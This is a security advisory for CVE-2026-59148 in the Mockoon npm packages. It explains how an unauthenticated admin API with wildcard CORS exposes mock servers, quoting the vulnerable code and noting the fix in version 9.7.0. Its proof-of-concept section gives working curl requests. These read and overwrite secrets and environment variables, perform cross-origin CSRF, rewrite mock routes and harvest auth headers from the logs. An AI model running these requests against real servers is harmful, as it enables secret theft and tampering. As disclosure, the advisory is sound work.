GitHub Advisoryadvisory · npm
GHSA-rqx4-3f6q-3x2v @Mockoon/commons-server: Unauthenticated admin API + wildcard CORS allows mock-state hijack and secret theft
HIGH
Official page ↗
- Aliases
- CVE-2026-59148
- Ecosystem
- npm
- Packages
- @mockoon/commons-server, @mockoon/cli
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-306, CWE-352, CWE-732, CWE-942
- Reviewed
- 2026-09-11
Affected packages
• npm @mockoon/commons-server: < 9.7.0 → fixed in 9.7.0
• npm @mockoon/cli: < 9.7.0 → fixed in 9.7.0
Description
Summary
Mockoon's admin API (`commons-server/src/libs/server/admin-api.ts`) is mounted on the same Express listener as the user-defined mock routes, enabled by default in every shipped runtime (commons-server, CLI, serverless), serves **`Access-Control-Allow-Origin: *` on every endpoint with all HTTP methods allowed including PUT/POST/PATCH/DELETE/PURGE and `Content-Type` in `Access-Control-Allow-Headers`, and has zero authentication of any kind** (no token, no shared secret, no `MOCKOON_ADMIN_TOKEN` env var — searched the repo, returns zero hits).
Any unauthenticated caller who can reach the mock server's port (default `0.0.0.0:3000`) can:
• Read every `MOCKOON_*` env var used by the operator as secret material in templates (`getEnvVar` helper).
• Write arbitrary process env vars (no prefix check on the WRITE path) — poison operator's `MOCKOON_API_KEY`, `MOCKOON_JWT_SECRET`, …, or write process-level vars like `AWS_SECRET_ACCESS_KEY` that the surrounding runtime consumes.
• Rewrite every mock route's body / status / headers in-runtime via `PUT /mockoon-admin/environment` — downstream consumers (frontend dev-server, CI test suite, integration partner) receive attacker-controlled responses and headers including `Set-Cookie`, `Location`, `Content-Security-Policy`, etc.
• Read transaction logs / SSE stream (consumer's request bodies + auth headers in clear).
• Read/write global template vars; purge state / data buckets / logs.
Because of the wildcard CORS reply, the attack also lands cross-origin from a browser: a developer who runs `mockoon-cli start ...` locally and visits a malicious website gets their mock state hijacked.
---
Details
Root cause
`packages/commons-server/src/libs/server/server.ts:127`:
```ts
private options: ServerOptions = {
...,
enableAdminApi: true, // ← default on
};
```
`packages/cli/src/commands/start.ts:200`:
```ts
enableAdminApi: !userFlags['disable-admin-api'], // default true unless --disable-admin-api passed
```
`packages/serverless/src/libs/serverless.ts:21`:
```ts
enableAdminApi: true, // ← default on, no flag to disable in the constructor
```
`packages/commons-server/src/libs/server/admin-api.ts:63-74` (permissive CORS on every admin endpoint):
```ts
app.use(`${adminApiPrefix}*`, (req, res, next) => {
res.setHeaders(
new Headers({
'Access-Control-Allow-Origin': '*',
'Access-Control-Allow-Methods':
'GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS',
'Access-Control-Allow-Headers':
'Content-Type, Origin, Accept, Authorization, Content-Length, X-Requested-With'
})
);
next();
});
```
`packages/commons-server/src/libs/server/admin-api.ts:151-166` (no auth, no prefix check on WRITE):
```ts
const setEnvVarHandler = (req, res) => {
try {
const { key, value } = req.body;
if (key !== undefined && value !== undefined) {
process.env[key] = value; // ← any process env, any value
res.send({ message: `Environment variable '${key}' has been set to '${value}'` });
} else {
throw new Error('Key or value missing from request');
}
} catch (_error) {
res.status(400).send({ message: 'Invalid request' });
}
};
```
`packages/commons-server/src/libs/server/admin-api.ts:373-393` (the most impactful — runtime mock rewrite):
```ts
app.put(`${adminApiPrefix}/environment`, (req, res) => {
try {
const environment: Environment = EnvironmentSchema.validate(req.body).value;
if (!environment) {
res.status(400).send({ message: 'Invalid environment format' });
return;
}
updateEnvironment(environment); // ← runtime mutation of every route response
res.send({ message: 'Environment updated' });
} catch (_error) {
res.status(400).send({ message: 'Invalid environment format' });
}
});
```
Default `hostname: ''` (`packages/commons/src/constants/environment-schema.constants.ts:33`) → Node binds `0.0.0.0`/`::` (confirmed via `lsof`). Migration #16 (`packages/commons/src/libs/migrations.ts:343`) also forces missing hostnames to `'0.0.0.0'`.
---
PoC
Live reproduction (2026-05-11, `@mockoon/[email protected]`)
`npm install @mockoon/[email protected]`. Minimal `env.json` with one route `GET /users/:id` whose response templates `{{getEnvVar 'MOCKOON_API_KEY'}}`. Start with:
```
MOCKOON_API_KEY="sk-operator-real-secret-DO_NOT_LEAK_xyz789" \
mockoon-cli start --data env.json --port 3100 --repair --disable-log-to-file
```
Bind confirmed via `lsof`:
```
COMMAND PID USER FD TYPE ... NAME
node 39906 ... 14u IPv6 ... TCP *:3100 (LISTEN) <-- all interfaces
```
Baseline mock response:
```
$ curl -s http://127.0.0.1:3100/users/42
{"id":"42","name":"BENIGN_ALICE","role":"user","apiKey":"sk-operator-real-secret-DO_NOT_LEAK_xyz789"}
```
1) Read operator secret unauth
```
$ curl -s -i http://127.0.0.1:3100/mockoon-admin/env-vars/API_KEY
HTTP/1.1 200 OK
access-control-allow-origin: *
{"key":"MOCKOON_API_KEY","value":"sk-operator-real-secret-DO_NOT_LEAK_xyz789"}
```
2) Poison operator secret unauth → downstream consumer ingests attacker value
```
$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \
-H "Content-Type: application/json" \
-d '{"key":"MOCKOON_API_KEY","value":"sk-POISONED-BY-ATTACKER"}'
{"message":"Environment variable 'MOCKOON_API_KEY' has been set to 'sk-POISONED-BY-ATTACKER'"}
$ curl -s http://127.0.0.1:3100/users/42
{"id":"42","name":"BENIGN_ALICE","role":"user","apiKey":"sk-POISONED-BY-ATTACKER"}
```
3) Write arbitrary non-`MOCKOON_*` env var (no prefix gate)
```
$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \
-H "Content-Type: application/json" \
-d '{"key":"AWS_SECRET_ACCESS_KEY","value":"overwritten-by-attacker"}'
{"message":"Environment variable 'AWS_SECRET_ACCESS_KEY' has been set to 'overwritten-by-attacker'"}
```
4) Cross-origin CSRF from `https://attacker.evil`
```
$ curl -s -i -X OPTIONS http://127.0.0.1:3100/mockoon-admin/env-vars \
-H "Origin: https://attacker.evil" \
-H "Access-Control-Request-Method: POST" \
-H "Access-Control-Request-Headers: Content-Type"
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS
Access-Control-Allow-Headers: Content-Type, Origin, Accept, Authorization, Content-Length, X-Requested-With
$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \
-H "Origin: https://attacker.evil" \
-H "Content-Type: application/json" \
-d '{"key":"MOCKOON_API_KEY","value":"sk-EXFIL-FROM-attacker.evil"}'
{"message":"Environment variable 'MOCKOON_API_KEY' has been set to 'sk-EXFIL-FROM-attacker.evil'"}
```
Wildcard `Access-Control-Allow-Origin: *` + `Access-Control-Allow-Methods` covering PUT/POST/PATCH + `Content-Type` in `Access-Control-Allow-Headers` mean the browser preflight passes for non-simple JSON POSTs. A developer who visits a malicious site while their Mockoon CLI is running is fully exploitable from JavaScript.
5) Rewrite every mock route via unauth `PUT /environment`
```
$ curl -s -X PUT http://127.0.0.1:3100/mockoon-admin/environment \
-H "Origin: https://attacker.evil" \
-H "Content-Type: application/json" \
-d '{ ...full env JSON with route response rewritten to body "ATTACKER_PWNED",
statusCode 418, header X-Pwned: by-attacker.evil... }'
{"message":"Environment updated"}
$ curl -s -i http://127.0.0.1:3100/users/99
HTTP/1.1 418 I'm a Teapot
X-Pwned: by-attacker.evil
Content-Type: application/json
{"id":"99","name":"ATTACKER_PWNED","role":"admin","backdoor":true}
```
6) Read transaction logs / SSE stream → harvest consumer's auth headers
```
$ curl -s http://127.0.0.1:3100/mockoon-admin/logs?limit=2
```
Each log entry includes consumer's `request.headers` (Authorization / Cookie / X-API-Key), `request.body`…
Related
Alias · CVE (1)
- CVE-2026-59148 Mockoon provides way to design and run mock APIs. vulnerability
References
- https://github.com/mockoon/mockoon/security/advisories/GHSA-rqx4-3f6q-3x2v web
- https://nvd.nist.gov/vuln/detail/CVE-2026-59148 advisory
- https://github.com/mockoon/mockoon/pull/2254 web
- https://github.com/mockoon/mockoon/commit/c420b5a56918475b8663977b51e5f986e45b3299 web
- https://github.com/mockoon/mockoon package
- https://github.com/mockoon/mockoon/releases/tag/v9.7.0 web
- https://mockoon.com/releases/9.7.0 web